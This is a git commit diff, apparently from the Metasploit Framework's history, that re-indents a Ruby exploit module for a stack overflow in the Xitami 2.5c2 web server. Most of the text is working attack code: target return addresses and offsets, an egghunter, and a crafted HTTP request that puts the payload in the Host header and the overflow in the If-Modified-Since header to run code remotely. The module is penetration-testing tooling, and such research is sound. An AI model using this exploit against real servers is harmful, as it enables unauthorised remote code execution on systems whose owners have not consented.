Fixed tab indents.

git-svn-id: file:///home/svn/framework3/trunk@5127 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Patrick Webster 2007-09-30 00:05:10 +00:00
parent ffc5c0a57d
commit e6a7184cf8
1 changed files with 26 additions and 27 deletions

View File

@ -15,21 +15,20 @@ module Msf
class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote
include Exploit::Remote::Tcp
include Exploit::Remote::Egghunter
include Exploit::Remote::Tcp
include Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
'Description' => %q{
This module exploits a stack overflow in the iMatix Corporation
Xitami xigui32.exe Web Server. If a malicious user sends an
If-Modified-Since header containing an overly long string, it may be
possible to execute a payload remotely. Due to size constraints,
this module uses the Egghunter technique. You may wish to adjust
WfsDelay appropriately.
This module exploits a stack overflow in the iMatix Corporation
Xitami Web Server. If a malicious user sends an If-Modified-Since
header containing an overly long string, it may be possible to
execute a payload remotely. Due to size constraints, this module uses
the Egghunter technique. You may wish to adjust WfsDelay appropriately.
},
'Author' => 'patrick',
'Author' => 'patrick',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
@ -51,9 +50,9 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
],
'DisclosureDate' => 'Sep 24 2007',
'DefaultTarget' => 0))
@ -68,7 +67,7 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote
connect
sock.put("GET / HTTP/1.1\r\n\r\n")
banner = sock.get(-1,3)
disconnect
disconnect
if (banner =~ /Xitami/)
return Exploit::CheckCode::Appears
@ -77,23 +76,23 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote
end
def exploit
connect
hunter = generate_egghunter
egg = hunter[1]
sploit = "GET / HTTP/1.1\r\n"
sploit << "Host: " + egg + egg + payload.encoded + "\r\n"
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']
sock.put(sploit + "\r\n\r\n")
print_status("Waiting for payload to execute...")
connect
hunter = generate_egghunter
egg = hunter[1]
sploit = "GET / HTTP/1.1\r\n"
sploit << "Host: " + egg + egg + payload.encoded + "\r\n"
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']
sock.put(sploit + "\r\n\r\n")
print_status("Waiting for payload to execute...")
handler
disconnect
end
end
end
end